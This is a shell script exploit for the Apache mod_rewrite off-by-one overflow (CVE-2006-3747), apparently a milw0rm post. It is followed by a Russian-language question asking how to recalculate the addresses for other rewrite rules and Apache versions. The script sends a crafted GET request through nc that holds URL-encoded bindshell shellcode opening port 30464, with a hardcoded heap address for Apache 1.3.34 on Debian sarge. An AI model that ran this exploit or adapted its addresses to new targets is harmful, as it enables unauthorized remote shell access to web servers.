#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow"
echo "by jack <jack\x40gulcas\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%0 6%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0 e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b 0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%c d%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%2 3%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%8 8%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%c d%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80

# milw0rm.com [2006-08-21]


Поясните, как подбирать адреса под что-то иное, нежели "RewriteRule kung/(.*) $1" и под что-то не "apache 1.3.34 (debian sarge)" ? Чисто технически как?